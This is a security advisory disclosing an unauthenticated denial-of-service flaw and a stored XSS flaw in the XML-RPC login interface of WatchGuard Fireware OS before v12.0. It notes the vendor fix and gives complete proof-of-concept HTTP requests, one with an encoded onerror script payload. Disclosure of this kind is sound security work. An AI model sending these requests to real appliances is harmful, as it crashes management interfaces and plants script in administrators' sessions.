Watchguard Fireware OS DOS & Stored XSS

Watchguard’s Firebox and XTM are a series of enterprise grade network
security appliances providing advanced security services like next
generation firewall, intrusion prevention, malware detection and
blockage and others. Two vulnerabilities were discovered affecting the
XML-RPC interface of the Web UI used to manage Fireware OS, the
operating system running on Watchguard Firebox and XTM appliances. To
exploit any of the flaws discovered, no authentication on the Web UI
is required.
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XML-RPC Empty Member DoS

Versions Affected
Fireware OS versions below v12.0 were found to be vulnerable.

CVE Reference
Vendor assigned internal id FBX-5312 to vulnerability and will release
a knowledge Base article following this advisory.

Vendor Fix
Vendor fixed the vulnerability in their v12 release.

Credit
David Fernandez of Sidertia Solutions

Description
If a login attempt is made in the XML-RPC interface with a XML message
containing and empty member tag, the wgagent crashes logging out any
user with a session opened in the UI. By continuously executing the
failed logging attempts, the device will be impossible to be managed
using the UI. It was not tested if this flaw causes similar lockout
and degradation in connectivity like my previous CVE-2017-8056.

Proof of concept
Below is an example of the request that causes a crash in the XML-RPC wgagent:

POST /agent/login HTTP/1.1
Host: fireware-host:4100
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: es,en;q=0.8,ca;q=0.6
Cookie: sessionid=dasdasdas
Content-Length: 207
Content-Type: application/xml

<methodCall><methodName>login</methodName><params><param><value><struct><member></member><member><name>user</name><value><string>admin</string></value></member></struct></value></param></params></methodCall>

Links
https://www.sidertia.com/Home/Community/Blog/2017/09/18/Fixed-Fireware-XXE-DOS-and-stored-XSS-vulnerabilities-discovered-by-Sidertia

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XML-RPC Username Stored Cross Site Scripting

Versions Affected
Fireware OS versions below v12.0 were found to be vulnerable.

CVE Reference
Vendor assigned internal id FBX-5313 to vulnerability and will release
a knowledge Base article following this advisory.

Vendor Fix
Vendor fixed the vulnerability in their v12 release.

Credit
David Fernandez of Sidertia Solutions

Description
When a failed login attempt is made to the login endpoint of the
XML-RPC interface, if javascript code, properly encoded to be consumed
by XML parsers, is embedded as value of the user tag, the code will be
rendered in the context of any logged in user in the Web UI visiting
“Traffic Monitor” sections “Events” and “All”. As a side effect, no
further events will be visible in the Traffic Monitor until the device
is restarted.

Proof of concept
POST /agent/login HTTP/1.1
Host: fireware-host:4100
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: es,en;q=0.8,ca;q=0.6
Cookie: sessionid=dasdasdas
Content-Length: 298
Content-Type: application/xml

<methodCall><methodName>login</methodName><params><param><value><struct><member></member><member><name>user</name><value><string>aa&lt;img
onerror=alert('xss')
src=&gt;a</string></value></member></struct></value></param></params></methodCall>

Links
https://www.sidertia.com/Home/Community/Blog/2017/09/18/Fixed-Fireware-XXE-DOS-and-stored-XSS-vulnerabilities-discovered-by-Sidertia